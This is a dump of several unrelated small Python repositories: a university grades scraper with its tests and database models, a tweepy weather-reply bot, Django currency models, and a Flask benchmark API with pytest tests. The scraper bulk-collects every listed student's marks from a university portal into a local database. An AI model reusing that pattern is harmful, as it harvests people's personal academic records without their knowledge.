'n':\r\n# break\r\n now = datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\")\r\n HandWriteRecogNet.SaveWeight('HandWriting_'+str(k)+'_'+now)\r\n print(now, k, epoch)\r\n\r\n", "id": "5196235", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "library.py" } ]
0
Davidyuk
[ { "content": "import re\nfrom lxml import html\n\n\ndef groups_parser(text):\n tree = html.fromstring(text)\n res = []\n for option in tree.xpath('//*[@id=\"group\"]/option'):\n if not option.get('value').isdigit():\n continue\n res.append({'id': int(option.get('value')), 'name': option.text})\n return res\n\n\ndef student_list_parser(text):\n tree = html.fromstring(text)\n res = []\n for a in tree.xpath('//table[@class=\"works\"]/tr/td/a'):\n uid = int(re.match('marks_student\\?id=(\\d+)', a.get('href')).group(1))\n res.append({'id': uid, 'name': a.text})\n return res\n\n\ndef student_parser(text):\n tree = html.fromstring(text)\n res = []\n for tr in tree.xpath('//table[@class=\"bordered marks\"]/tr'):\n tds = tr.xpath('td')\n if tr.get('class') == 'worktype':\n res.append({'name': tds[0].text, 'tasks': []})\n elif len(tds) == 4:\n a = tds[1].xpath('a')[0]\n tid = int(re.match('marks_view\\?tid=(\\d+);sid=(\\d+)', a.get('href')).group(1))\n [max_rate, rate_weight] = map(int, re.match('1\\.\\.(\\d+), (\\d+)%', tds[2].text).groups())\n res[-1]['tasks'].append({'date': tds[0].text, 'id': tid, 'name': a.text or '', 'maxRate': max_rate,\n 'rateWeight': rate_weight, 'marks': []})\n for tr in tds[3].xpath('table/tr'):\n tds = tr.xpath('td')\n if len(tds) != 3:\n continue\n rate2 = float(tds[2].text) if tds[2].text else None\n res[-1]['tasks'][-1]['marks'].append({'date': tds[0].text, 'rate1': float(tds[1].text), 'rate2': rate2})\n return res\n", "id": "9431577", "language": "Python", "matching_score": 3.6140477657318115, "max_stars_count": 0, "path": "parsers.py" }, { "content": "import unittest\nfrom parsers import groups_parser, student_list_parser, student_parser\n\n\nclass ParserTestCase(unittest.TestCase):\n def test_groups_parser(self):\n text = '''\n <select id=\"group\" name=\"group\">\n <option value=\"\"/>\n <option value=\"15798\">АЭМББТ</option>\n <option value=\"35568\">Б8102</option>\n <option value=\"2107\">Б8103а</option>\n <option value=\"3240\" selected=\"selected\">мастер-класс</option>\n <option value=\"-\">без группы</option>\n </select>'''\n data = [\n {'id': 15798, 'name': 'АЭМББТ'},\n {'id': 35568, 'name': 'Б8102'},\n {'id': 2107, 'name': 'Б8103а'},\n {'id': 3240, 'name': 'мастер-класс'},\n ]\n\n self.assertEqual(groups_parser(text), data)\n\n def test_students_parser(self):\n text = '''\n <table class=\"works\">\n <tr>\n <th>N</th><th>Ф. И. О.</th><th>Группы</th>\n </tr><tr>\n <td><a href=\"marks_student?id=34211\"><NAME></a></td><td>Б8303а</td>\n </tr><tr>\n <td align=\"right\">5</td>\n <td><a href=\"marks_student?id=34217\"><NAME></a></td><td>Б8303а</td>\n </tr><tr>\n <td align=\"right\">6</td>\n <td><a href=\"marks_student?id=34269\"><NAME></a></td><td>Б8303а</td>\n </tr>\n </table>'''\n data = [\n {'id': 34211, 'name': '<NAME>'},\n {'id': 34217, 'name': '<NAME>'},\n {'id': 34269, 'name': '<NAME>'},\n ]\n\n self.assertEqual(student_list_parser(text), data)\n\n def test_student_parser(self):\n text = '''\n <table class=\"bordered marks\">\n <tr>\n <th>Дата</th>\n <th>Задание</th>\n <th>Баллы/вес</th>\n <th>Тесты/оценки</th>\n </tr>\n <tr class=\"worktype\">\n <td colspan=\"4\">Технология программирования</td>\n </tr>\n <tr>\n <td>02.11.2015</td>\n <td>\n <a href=\"marks_view?tid=40113;sid=8884\">Задание 2</a>\n </td>\n <td>1..10, 25%</td>\n <td class=\"embedded\">\n <table class=\"bordered\">\n <col />\n <col width=\"30px\"/>\n <col width=\"30px\"/>\n <tr>\n <td>24.02.2016</td>\n <td>7</td>\n <td>1.9</td>\n </tr>\n <tr>\n <td>10.02.2016</td>\n <td>3</td>\n <td>0.9</td>\n </tr>\n <tr>\n <td>28.12.2015</td>\n <td>2</td>\n <td>0.7</td>\n </tr>\n </table>\n </td>\n </tr>\n <tr class=\"worktype\">\n <td colspan=\"4\">Web-программирование 1</td>\n </tr>\n <tr>\n <td>30.06.2015</td>\n <td>\n <a href=\"marks_view?tid=40270;sid=8884\">Дополнительное задание 1</a>\n </td>\n <td>1..10, 14%</td>\n <td class=\"embedded\">\n </td>\n </tr>\n <tr>\n <td>16.06.2015</td>\n <td>\n <a href=\"marks_view?tid=38743;sid=8884\">Отчёты</a>\n </td>\n <td>1..10, 4%</td>\n <td class=\"embedded late\">\n </td>\n </tr>\n <tr>\n <td>10.03.2015</td>\n <td>\n <a href=\"marks_view?tid=37563;sid=8884\">CSS, меню</a>\n </td>\n <td>1..10, 4%</td>\n <td class=\"embedded\">\n <table class=\"bordered\">\n <col />\n <col width=\"30px\"/>\n <col width=\"30px\"/>\n <tr>\n <td>17.03.2015</td>\n <td>8</td>\n <td>5.3</td>\n </tr>\n </table>\n </td>\n </tr>\n </table>'''\n data = [\n {'name': 'Технология программирования', 'tasks': [\n {'date': '02.11.2015', 'id': 40113, 'name': 'Задание 2', 'maxRate': 10, 'rateWeight': 25, 'marks': [\n {'date': '24.02.2016', 'rate1': 7, 'rate2': 1.9},\n {'date': '10.02.2016', 'rate1': 3, 'rate2': 0.9},\n {'date': '28.12.2015', 'rate1': 2, 'rate2': 0.7},\n ]},\n ]},\n {'name': 'Web-программирование 1', 'tasks': [\n {\n 'id': 40270, 'date': '30.06.2015', 'name': 'Дополнительное задание 1', 'maxRate': 10,\n 'rateWeight': 14, 'marks': []\n },\n {'date': '16.06.2015', 'id': 38743, 'name': 'Отчёты', 'maxRate': 10, 'rateWeight': 4, 'marks': []},\n {'date': '10.03.2015', 'id': 37563, 'name': 'CSS, меню', 'maxRate': 10, 'rateWeight': 4, 'marks': [\n {'date': '17.03.2015', 'rate1': 8.0, 'rate2': 5.3},\n ]},\n ]},\n ]\n\n self.assertEqual(student_parser(text), data)\n\n def test_student_parser_bad_cases(self):\n text = '''\n <table class=\"bordered marks\">\n <tr class=\"worktype\">\n <td colspan=\"4\">Технология программирования</td>\n </tr>\n <tr>\n <td>02.11.2015</td>\n <td>\n <a href=\"marks_view?tid=40113;sid=8884\"></a>\n </td>\n <td>1..10, 25%</td>\n <td class=\"embedded\">\n </td>\n </tr>\n <tr>\n <td>30.06.2015</td>\n <td>\n <a href=\"marks_view?tid=40270;sid=8884\">Дополнительное задание 1</a>\n </td>\n <td>1..10, 14%</td>\n <td class=\"embedded\">\n <table class=\"bordered\">\n <col />\n <col width=\"30px\"/>\n <col width=\"30px\"/>\n <tr>\n <td>17.03.2015</td>\n <td>8</td>\n <td></td>\n </tr>\n </table>\n </td>\n </tr>\n <tr>\n <td>16.06.2015</td>\n <td>\n <a href=\"marks_view?tid=38743;sid=8884\">Отчёты</a>\n </td>\n <td>1..10, 4%</td>\n <td class=\"embedded late\">\n Тесты:\n <table class=\"bordered\">\n <col width1=\"50%\"/>\n <col width=\"30px\"/>\n <tr>\n <td>24.05.2011 13:42</td>\n <td>\n <a href=\"quiz/quiz.xhtml?t=HdF3OLflcT9LYHd82VZ1Bik4dbxgm01CFcYwUWOh\">начать</a>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>'''\n data = [\n {'name': 'Технология программирования', 'tasks': [\n {'date': '02.11.2015', 'id': 40113, 'name': '', 'maxRate': 10, 'rateWeight': 25, 'marks': []},\n {\n 'id': 40270, 'date': '30.06.2015', 'name': 'Дополнительное задание 1', 'maxRate': 10,\n 'rateWeight': 14, 'marks': [\n {'date': '17.03.2015', 'rate1': 8.0, 'rate2': None},\n ]\n },\n {'date': '16.06.2015', 'id': 38743, 'name': 'Отчёты', 'maxRate': 10, 'rateWeight': 4, 'marks': []},\n ]},\n ]\n\n self.assertEqual(student_parser(text), data)\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "7697742", "language": "Python", "matching_score": 1.6780208349227905, "max_stars_count": 0, "path": "test_parsers.py" }, { "content": "import sys\nimport requests\n\nfrom parsers import groups_parser, student_list_parser, student_parser\nfrom models import Student, Group, Discipline, Task, Mark\n\nbaseUrl = 'http://imcs.dvfu.ru/works/'\nsession = requests.Session()\n\ngroups = list(map(lambda x: Group.create_or_get(**x)[0], groups_parser(session.get(baseUrl + 'students').content)))\nprint('Found {} groups'.format(len(groups)))\n\nfor group in groups:\n data = {'group': group.id, 'student_name': '', 'do_select': 'Выбрать'}\n students = list(map(lambda x: Student.create_or_get(**x)[0].groups.add(group),\n student_list_parser(session.post(baseUrl + 'students', data=data).content)))\n sys.stdout.write('\\rFound {} students in {}'.format(len(students), group.name))\n\nstudents = Student.select()\nsys.stdout.write('\\rFound {} students\\n'.format(len(students)))\n\ncount = 0\nfor student in students:\n for disciplineDict in student_parser(session.get(baseUrl + 'marks_student?id={}'.format(student.id)).content):\n tasks = disciplineDict.pop('tasks')\n (discipline, _) = Discipline.create_or_get(**disciplineDict)\n for taskDict in tasks:\n marks = taskDict.pop('marks')\n (task, _) = Task.create_or_get(**taskDict, discipline=discipline)\n for mark in marks:\n Mark.create_or_get(**mark, task=task, student=student)\n count += 1\n sys.stdout.write('\\rProcessed {}/{} students'.format(count, len(students)))\n\nprint('\\nFinished')\n", "id": "4595901", "language": "Python", "matching_score": 2.426041841506958, "max_stars_count": 0, "path": "main.py" }, { "content": "from playhouse.sqlite_ext import SqliteExtDatabase\nimport peewee\nfrom playhouse.fields import ManyToManyField\n\ndb = SqliteExtDatabase('aWorks.db')\ndb.connect()\n\n\nclass BaseModel(peewee.Model):\n class Meta:\n database = db\n\n\nclass Student(BaseModel):\n name = peewee.CharField()\n\n\nclass Group(BaseModel):\n name = peewee.CharField()\n students = ManyToManyField(Student, related_name='groups')\n\nStudentGroup = Group.students.get_through_model()\n\n\nclass Discipline(BaseModel):\n name = peewee.CharField(unique=True)\n\n\nclass Task(BaseModel):\n name = peewee.CharField()\n maxRate = peewee.IntegerField()\n rateWeight = peewee.IntegerField()\n discipline = peewee.ForeignKeyField(Discipline, related_name='tasks')\n date = peewee.DateTimeField()\n\n\nclass Mark(BaseModel):\n task = peewee.ForeignKeyField(Task, related_name='marks')\n student = peewee.ForeignKeyField(Student, related_name='marks')\n rate1 = peewee.FloatField()\n rate2 = peewee.FloatField(null=True)\n date = peewee.DateTimeField()\n\ndb.drop_tables([Student, Group, StudentGroup, Discipline, Task, Mark], safe=True)\ndb.create_tables([Student, Group, StudentGroup, Discipline, Task, Mark])\n", "id": "8929413", "language": "Python", "matching_score": 1.4773473739624023, "max_stars_count": 0, "path": "models.py" } ]
2.052031
wyx-2018
[ { "content": "import os\n\nimages=os.listdir('/output/JPEGImages')\nprint(len(images))\n", "id": "1792882", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "test.py" } ]
0
CormacOSullivan
[ { "content": "#!/usr/bin/env python\n# tweepy-bots/bots/autoreply.py\n\nimport tweepy\n\n\nclass TweepyAPI:\n temp_units = {\"imperial\": \"°F\", \"metric\": \"°C\"}\n\n def __init__(self, consumer_key, consumer_secret, access_token, access_token_secret, logger=None,\n tweet_id_path=None):\n self.consumer_key = consumer_key\n self.consumer_secret = consumer_secret\n self.access_token = access_token\n self.access_token_secret = access_token_secret\n self.logger = logger\n self.tweet_id_path = tweet_id_path\n self.api = self.create_api()\n\n def check_user_data(self, tweet, keywords, city_list):\n \"\"\"\n Parses the tweet received for correct formatting and values for location and units and returns the location\n and units values parsed from the tweet\n :param tweet: the object of the latest tweet received by the system\n :param keywords: list of keywords that are used to check that the tweet has corrected formatting and parameters\n :param city_list: dictionary that holds the data parsed from the city_list.json file\n :return: location -> string representing the users requested location if it was found in city_list\n units -> string representing the users requested units from their tweet\n -1 -> If an error has occurred\n \"\"\"\n units = \"\"\n status = tweet.text.lower().split()\n try:\n location_index = status.index(keywords[0]) + 1\n cnt = 0\n location_name = \"\"\n while True:\n location_name += status[location_index + cnt] + \" \"\n if \"!\" in status[location_index + cnt]:\n break\n cnt += 1\n location_name = location_name[:-2].title()\n if not any(d['name'].title() == location_name for d in city_list): # Check tweet contained a valid location\n self.logger.error(f\"Invalid location name received: {location_name}\")\n return location_name, -1\n except (IndexError, TypeError) as e:\n self.logger.error(e)\n self.logger.error(f\"Invalid tweet received: {tweet.text}\")\n return -1, -1\n\n try:\n units_index = status.index(keywords[1]) + 1\n units = status[units_index]\n except IndexError as e:\n self.logger.info(\"No value or an invalid value of unit was received\")\n except ValueError as g:\n self.logger.error(g)\n except Exception as h:\n print(h, h.__class__.__name__)\n finally:\n if units != \"imperial\" and units != \"metric\":\n units = \"metric\"\n return location_name, units\n\n def check_mentions(self, keywords, last_id, city_data):\n \"\"\"\n Checks if the bot's twitter account has been mentioned in any new tweets, then checks the list until a tweet\n containing the required keywords are found. If they are found calls check_user_data to parse the tweet for the\n required information to be used in openweathermapapi call\n :param keywords: list of strings representing keywords that should be found in compatible tweets\n :param last_id: The id number of the last tweet the system replied to\n :param city_data: dictionary of data read from city_list.json file\n :return: location -> string representing the users requested location name parsed from check_user_data call\n units -> string representing the users requested units parsed from check_user_data call\n -1 -> If an error has occurred\n \"\"\"\n self.logger.info(\"Retrieving mentions\")\n try:\n # Loops through mentioned tweets that are after the latest bot replied tweets id (last_id) for a tweet\n # that contains the required keywords and then begins parsing that tweet\n for tweet in tweepy.Cursor(self.api.mentions_timeline, since_id=last_id).items():\n last_id = max(tweet.id, last_id)\n if tweet.in_reply_to_status_id is not None:\n continue\n if any(keyword in tweet.text.lower() for keyword in keywords):\n self.logger.info(f\"Answering to {tweet.user.name}\")\n location_name, units = self.check_user_data(tweet, keywords, city_data)\n return location_name, units, last_id\n\n except Exception as e:\n self.logger.error(\"An unexpected error has occurred\")\n self.logger.error(e)\n return -1, -1, last_id\n\n def reply_to_tweet(self, tweet_string, tweetID):\n \"\"\"\n Sends a reply of tweet_string to the tweet that was sent to the bot with an ID of tweetID\n :param tweet_string: Body of the reply tweet being sent\n :param tweetID: ID of the tweet to be replied to\n :return:\n \"\"\"\n self.api.update_status(\n status=tweet_string,\n in_reply_to_status_id=tweetID,\n auto_populate_reply_metadata=True\n )\n\n def create_api(self):\n \"\"\"\n Creates the api object using the keys and tokens environment variable's values and returns the object\n :return: api -> object used for tweepy interaction with the twitter bot's account\n \"\"\"\n auth = tweepy.OAuthHandler(self.consumer_key, self.consumer_secret)\n auth.set_access_token(self.access_token, self.access_token_secret)\n api = tweepy.API(auth, wait_on_rate_limit=True,\n wait_on_rate_limit_notify=True)\n try:\n api.verify_credentials()\n except Exception as e:\n self.logger.error(\"Error creating API\", exc_info=True)\n return -1\n\n self.logger.info(\"API created\")\n return api\n\n def save_tweet_id(self, tweet_id):\n \"\"\"\n Saves the latest replied tweet's ID to a file to prevent errors with duplicate reply attempts\n :param tweet_id: ID number of latest replied tweet\n :return:\n \"\"\"\n try:\n with open(self.tweet_id_path, 'w') as f:\n f.write(str(tweet_id))\n except (IOError, ValueError, EOFError) as e:\n self.logger.error(e)\n except Exception as f:\n self.logger.error(\"An Unexpected error has occurred: \", f)\n\n def read_tweet_id(self):\n \"\"\"\n Reads in the last replied tweet's ID from the storage file so the system knows the starting point of the required\n replies\n :return: tweet_id -> ID number of the last replied tweet\n -1 -> If an error has occurred\n \"\"\"\n try:\n with open(self.tweet_id_path, 'r') as f:\n tweet_id = f.read()\n except (IOError, ValueError, EOFError) as e:\n self.logger.error(e)\n return -1\n except Exception as f:\n self.logger.error(\"An Unexpected error has occurred: \", f)\n return -1\n return int(tweet_id)\n", "id": "5154968", "language": "Python", "matching_score": 3.5527937412261963, "max_stars_count": 0, "path": "TweepyAPI.py" }, { "content": "#!/usr/bin/env python\n\nimport logging\nimport sys\nimport time\nimport os\n\nimport TweepyAPI\nimport WeatherAPI\n\nKEYWORDS = [\"location:\", \"units:\"]\n\n\ndef main():\n logging.basicConfig(level=logging.INFO)\n logger = logging.getLogger()\n\n current_path = os.path.abspath(os.path.dirname(__file__))\n tweet_file_path = os.path.join(current_path, \"Addons\", \"tweet_id.txt\")\n json_file_path = os.path.join(current_path, \"Addons\", \"city.list.json\")\n\n #Read in keys and tokens set as enviromental variables\n openweathermap_api_key = os.getenv(\"OPENWEATHERMAP_API_KEY\")\n consumer_key = os.getenv(\"CONSUMER_KEY\")\n consumer_secret = os.getenv(\"CONSUMER_SECRET\")\n access_token = os.getenv(\"ACCESS_TOKEN\")\n access_token_secret = os.getenv(\"ACCESS_TOKEN_SECRET\")\n\n tweepyAPI = TweepyAPI.TweepyAPI(consumer_key, consumer_secret, access_token, access_token_secret, logger,\n tweet_file_path)\n weatherAPI = WeatherAPI.WeatherAPI(openweathermap_api_key, json_file_path, logger)\n\n city_data = weatherAPI.read_json()\n since_id = tweepyAPI.read_tweet_id()\n old_id = since_id\n tweet_string = -1\n # Check for any incorrect initialisations of required variables\n if any(x == -1 for x in [tweepyAPI.api, city_data, since_id] or any(\n y is None for y in [openweathermap_api_key, consumer_key, consumer_secret, access_token_secret])):\n logger.error(\"An error has occurred during the setup of the system: Please check the logs for more information\")\n sys.exit()\n while True:\n try:\n location_name, units, since_id = tweepyAPI.check_mentions(KEYWORDS, since_id, city_data)\n if location_name != -1 and units == -1 and since_id > old_id:\n tweet_string = f\"Unfortunately there is no available forecast for: {location_name}\\nHere is the current forecast for the Moon:\\n\\nClear skies with a 0% chance of precipitation\"\n tweepyAPI.reply_to_tweet(tweet_string, since_id)\n elif location_name != -1 and units != -1 and since_id > old_id:\n api_answer = weatherAPI.send_api_request(location_name, units)\n if api_answer != -1:\n tweet_string = weatherAPI.parse_api_response(api_answer, units)\n if tweet_string != -1:\n tweepyAPI.reply_to_tweet(tweet_string, since_id)\n else:\n logger.error(\"An unexpected error has occurred while sending and parsing the API weather request\")\n if since_id > old_id:\n tweepyAPI.save_tweet_id(since_id)\n old_id = since_id\n logger.info(\"Waiting...\")\n time.sleep(60)\n except KeyboardInterrupt:\n sys.exit()\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "10286855", "language": "Python", "matching_score": 1.779941439628601, "max_stars_count": 0, "path": "Main.py" }, { "content": "#!/usr/bin/env python\n\nimport json\nimport requests\nfrom datetime import datetime\n\n\nclass WeatherAPI:\n temp_units = {\"imperial\": \"°F\", \"metric\": \"°C\"}\n\n def __init__(self, api_key, json_path, logger=None):\n self.key = api_key\n self.json_path = json_path\n self.logger = logger\n\n def send_api_request(self, location, units=\"metric\"):\n \"\"\"\n Sends a request including the user requested location and units to the openweathermapapi and then\n decodes the response\n :param location: String representing a place name for requesting the current weather\n :param units: String representing the units required by the user\n :return: data -> Dictionary containing the weather information received from the api request sent\n -1 -> If an error occurred\n \"\"\"\n try:\n call = f\"https://api.openweathermap.org/data/2.5/weather?q={location}&appid={self.key}&units={units}\"\n response = requests.get(call)\n data = json.loads(response.text)\n except requests.exceptions.RequestException as e:\n self.logger.error(\"An Unexpected requests error has occurred: \", e)\n return -1\n except json.JSONDecodeError as f:\n self.logger.error(\"An Unexpected JSON error has occurred: \", f)\n return -1\n return data\n\n def parse_api_response(self, data, units=\"metric\"):\n \"\"\"\n Parses the required data from the openweatherapi response's dictionary and returns a formatted tweet string\n :param data: dictionary from openweatherapi call\n :param units: String that holds the type of units to be used in tweet string\n :return: info_string -> The string containing the parsed weather results for replying to the request\n -1 -> if an error has occurred during the parse\n \"\"\"\n try:\n location = data[\"name\"]\n description = data[\"weather\"][0][\"description\"].title()\n temp = data[\"main\"][\"temp\"]\n feels_like = data[\"main\"][\"feels_like\"]\n temp_min = data[\"main\"][\"temp_min\"]\n temp_max = data[\"main\"][\"temp_max\"]\n humidity = data[\"main\"][\"humidity\"]\n timezone = data[\"timezone\"]\n sunrise = datetime.utcfromtimestamp(data[\"sys\"][\"sunrise\"] + timezone).strftime('%H:%M')\n sunset = datetime.utcfromtimestamp(data[\"sys\"][\"sunset\"] + timezone).strftime('%H:%M')\n\n info_string = f\"Here is the weather results for {location}:\\n\\nDescription: {description}\\nTemperature: {temp}{WeatherAPI.temp_units[units]}\\nFeels like: {feels_like}{WeatherAPI.temp_units[units]}\\nMin: {temp_min}{WeatherAPI.temp_units[units]}\\nMax: {temp_max}{WeatherAPI.temp_units[units]}\\nHumidity: {humidity}%\\nSunrise: {sunrise}\\nSunset: {sunset}\"\n except LookupError as e:\n self.logger.error(e)\n return -1\n return info_string\n\n def read_json(self):\n \"\"\"\n Reads the information found in the city_list.json file for checking the users requested weather location\n and returns the data after decoding\n :return: data -> A dictionary contain all the information for locations compatible with openweatherapi\n -1 -> If an error occurred\n \"\"\"\n try:\n with open(self.json_path, encoding='utf-8') as f:\n data = json.load(f)\n except (IOError, ValueError, EOFError) as e:\n self.logger.error(e)\n return -1\n except Exception as f:\n self.logger.error(\"An Unexpected error has occurred: \", f)\n return -1\n return data\n", "id": "11267851", "language": "Python", "matching_score": 0.722084105014801, "max_stars_count": 0, "path": "WeatherAPI.py" } ]
1.779941
Billybob
[ { "content": "# Copyright (C) 2008 Helpdesk\n# Author: <NAME>\n# vim: set ft=python.django :\n\n\"\"\"django-payment admin configuration\"\"\"\n\n__version__ = \"$Id: $\"\n\nfrom django.contrib import admin\nfrom models import *\n\nclass CurrencyAdmin(admin.ModelAdmin):\n list_display = ('code', 'translated_name', 'decimals', 'symbol')\n list_display_links = ('code', 'translated_name')\n ordering = ('code',)\n search_fields = ('code', 'name', 'numeric_code', 'symbols')\n\nadmin.site.register(Currency, CurrencyAdmin)\n", "id": "2140709", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "djangopayment/admin.py" }, { "content": "# Copyright (C) 2008 Helpdesk\n# -*- coding: utf-8 -*-\n# Author: <NAME> <<EMAIL>>\n# vim: set fileencoding=utf-8 ft=python.django :\n\n\"\"\"django-payment models\"\"\"\n\n__version__ = \"$Id: $\"\n\nfrom django.db import models\nfrom django.utils.translation import ugettext as _\n\nclass Currency(models.Model):\n \"\"\"A distinct currency as defined by the ISO 4217 currency standard\"\"\"\n\n code = models.CharField(_('3-letter code'), max_length=3, primary_key=True)\n numeric_code = models.PositiveSmallIntegerField(_('numeric code'),\n unique=True)\n name = models.CharField(_('name'), max_length=48)\n decimals = models.PositiveSmallIntegerField(_('decimals'))\n symbol = models.CharField(_('currency symbol'), max_length=5)\n\n # TODO:\n #\n # - Reference standard locale for every currency, so we can format locally\n # even if the page is in a different locale.\n # 128,29 EUR // CHF 38.09 // ¥100 = 100円 (jp) // $28.39 USD // £12,000 GBP\n #\n # locale = models.CharField(max_length=5, blank=True)\n\n def translated_name(self):\n name = _(self.name)\n return name[0].upper() + name[1:]\n\n translated_name.short_description = _('name')\n\n def __unicode__(self):\n return _('%(code)s (%(name)s)') % {'code': self.code,\n 'name': _(self.name)}\n\n class Meta:\n verbose_name = _('currency')\n verbose_name_plural = _('currencies')\n ordering = ('code', 'name')\n", "id": "7804479", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "djangopayment/models.py" } ]
0
joshchoo
[ { "content": "from typing import List\n\nfrom flask import Blueprint, jsonify, request\n\nfrom app import cache\nfrom app.models import DeviceModel, ResultModel\nfrom app.schemas import DeviceSchema, ResultSchema\nfrom app.services import DeviceService, ResultService\n\nbp = Blueprint(\"routes\", __name__)\n\n\n@bp.route(\"/devices\", methods=[\"GET\"])\n@cache.memoize(50)\ndef get_devices():\n device_list_schema = DeviceSchema(many=True, exclude=(\"results\",))\n devices_list = device_list_schema.dump(DeviceService.get_all())\n return jsonify({\"devices\": devices_list}), 200\n\n\n@bp.route(\"/results\", methods=[\"GET\"])\n@cache.memoize(50)\ndef get_results():\n result_list_schema = ResultSchema(many=True)\n results_list = result_list_schema.dump(ResultService.get_all())\n return jsonify({\"results\": results_list}), 200\n\n\n@bp.route(\"/results\", methods=[\"POST\"])\ndef post_results():\n data = request.get_json()\n device_schema = DeviceSchema()\n result: DeviceModel = device_schema.load(data)\n DeviceService.create(result)\n\n return jsonify({\"message\": \"Results uploaded successfully.\"}), 201\n\n\n@bp.route(\"/results/<string:model>\", methods=[\"GET\"])\n@cache.memoize(50)\ndef get_results_for_model(model: str):\n result_list_schema = ResultSchema(many=True)\n device_results: List[ResultModel] = ResultService.get_by_model(model)\n response = result_list_schema.dump(device_results)\n\n if not response:\n return jsonify({\"message\": f\"No results for {model}.\"}), 400\n\n return jsonify({\"results\": response}), 200\n", "id": "10545774", "language": "Python", "matching_score": 3.06058669090271, "max_stars_count": 2, "path": "web/app/api/routes.py" }, { "content": "from . import db\nfrom .models import DeviceModel, ResultModel\nfrom typing import List\n\n\nclass DeviceService:\n @staticmethod\n def get_all() -> List[DeviceModel]:\n return DeviceModel.query.all()\n\n @staticmethod\n def create(device: DeviceModel) -> DeviceModel:\n db.session.add(device)\n db.session.commit()\n\n\nclass ResultService:\n @staticmethod\n def get_all() -> List[ResultModel]:\n return ResultModel.query.all()\n\n @staticmethod\n def get_by_model(model: str) -> List[ResultModel]:\n return ResultModel.query.join(DeviceModel).filter_by(device_model=model).all()\n", "id": "8845107", "language": "Python", "matching_score": 0.5542255640029907, "max_stars_count": 2, "path": "web/app/services.py" }, { "content": "from app import create_app\nfrom app import db as _db\nimport pytest\n\n\n@pytest.fixture(scope=\"session\", autouse=False)\ndef app(request):\n app = create_app(\"TestingConfig\")\n\n # Push Application Context\n ctx = app.app_context()\n ctx.push()\n\n def teardown():\n ctx.pop()\n\n request.addfinalizer(teardown)\n return app\n\n\n@pytest.fixture(scope=\"function\", autouse=False)\ndef client(app):\n return app.test_client()\n\n\n@pytest.fixture(scope=\"function\", autouse=False)\ndef db(app, request):\n _db.app = app\n _db.drop_all()\n _db.session.commit()\n _db.create_all()\n\n def teardown():\n _db.drop_all()\n _db.session.commit()\n\n request.addfinalizer(teardown)\n return _db\n", "id": "3917920", "language": "Python", "matching_score": 1.352148413658142, "max_stars_count": 2, "path": "web/conftest.py" }, { "content": "from flask_caching import Cache\nfrom flask_cors import CORS\nfrom flask_migrate import Migrate\nfrom flask_marshmallow import Marshmallow\nfrom flask_sqlalchemy import SQLAlchemy\nimport connexion\n\nfrom config import cache_config\n\n# Globally accessible libraries\ndb = SQLAlchemy()\nma = Marshmallow()\nmigrate = Migrate()\ncors = CORS()\ncache = Cache(config=cache_config)\n\n\ndef create_app(config_name=None):\n # Initialize core app\n connex_app = connexion.App(__name__, specification_dir=\".\")\n connex_app.add_api(\"swagger.yaml\", strict_validation=True, validate_responses=True)\n app = connex_app.app\n app.config.from_object(\"config.DefaultConfig\")\n # Overwrite config values\n if config_name:\n app.config.from_object(\"config.\" + config_name)\n\n # Initialize extensions\n db.init_app(app)\n ma.init_app(app)\n migrate.init_app(app, db)\n cors.init_app(app)\n cache.init_app(app)\n\n # Register Blueprints\n from app.api.routes import bp as routes_bp\n\n app.register_blueprint(routes_bp, url_prefix=\"/v1\")\n\n from app.errors import bp as errors_bp\n\n app.register_blueprint(errors_bp)\n\n return app\n", "id": "401746", "language": "Python", "matching_score": 2.2251014709472656, "max_stars_count": 2, "path": "web/app/__init__.py" }, { "content": "import os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n\nclass DefaultConfig:\n SQLALCHEMY_DATABASE_URI = os.environ.get(\n \"DATABASE_URL\", \"sqlite:///\" + os.path.join(basedir, \"data.db\")\n )\n SQLALCHEMY_TRACK_MODIFICATIONS = os.environ.get(\n \"SQLALCHEMY_TRACK_MODIFICATIONS\", False\n )\n\n\nclass TestingConfig:\n DEBUG = True\n TESTING = True\n SQLALCHEMY_DATABASE_URI = os.environ.get(\n \"TESTING_DATABASE_URL\", \"sqlite:///\" + os.path.join(basedir, \"testing.db\")\n )\n\n\ncache_config = {\n \"CACHE_TYPE\": os.environ.get(\"CACHE_TYPE\", \"redis\"),\n \"CACHE_REDIS_URL\": os.environ.get(\"REDIS_URL\", \"redis://localhost:6379\"),\n}\n", "id": "1991773", "language": "Python", "matching_score": 0.2451533079147339, "max_stars_count": 2, "path": "web/config.py" }, { "content": "from flask_sqlalchemy import SQLAlchemy\nfrom flask.testing import FlaskClient\nimport json\n\n\nclass TestApiV1:\n def test_get_devices_empty_db(self, client: FlaskClient, db: SQLAlchemy):\n with client: # establish request context\n rv = client.get(\"/v1/devices\")\n assert rv.status_code == 200\n\n response = rv.get_json()\n assert len(response[\"devices\"]) == 0\n\n def test_get_results_empty_db(self, client: FlaskClient, db: SQLAlchemy):\n with client:\n rv = client.get(\"/v1/results\")\n assert rv.status_code == 200\n\n response = rv.get_json()\n assert len(response[\"results\"]) == 0\n\n def test_post_incomplete_result(self, client: FlaskClient, db: SQLAlchemy):\n post_result = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n }\n with client:\n rv = client.post(\"/v1/results\", json=post_result)\n assert rv.status_code == 400\n\n def test_post_data_without_result(self, client: FlaskClient, db: SQLAlchemy):\n post_result = {\n \"benchmark_version\": \"0.1\",\n \"device_name\": \"OnePlus6T\",\n \"device_model\": \"ONEPLUS A6013\",\n \"device_product\": \"OnePlus6T\",\n \"device_board\": \"sdm845\",\n \"device_manufacturer\": \"OnePlus\",\n \"device_brand\": \"OnePlus\",\n \"device_hardware\": \"qcom\",\n \"android_version\": \"10\",\n \"build_type\": \"user\",\n \"build_time\": \"1570526427\",\n \"fingerprint\": \"OnePlus/OnePlus6T/OnePlus6T:10/QKQ1.190716.003/1910050400:user/release-keys\",\n \"kernel_version\": \"Linux version 4.9.179-perf+\",\n \"run_id\": 23940825,\n }\n with client:\n rv = client.post(\"/v1/results\", json=post_result)\n assert rv.status_code == 400\n\n def test_post_data_empty_result(self, client: 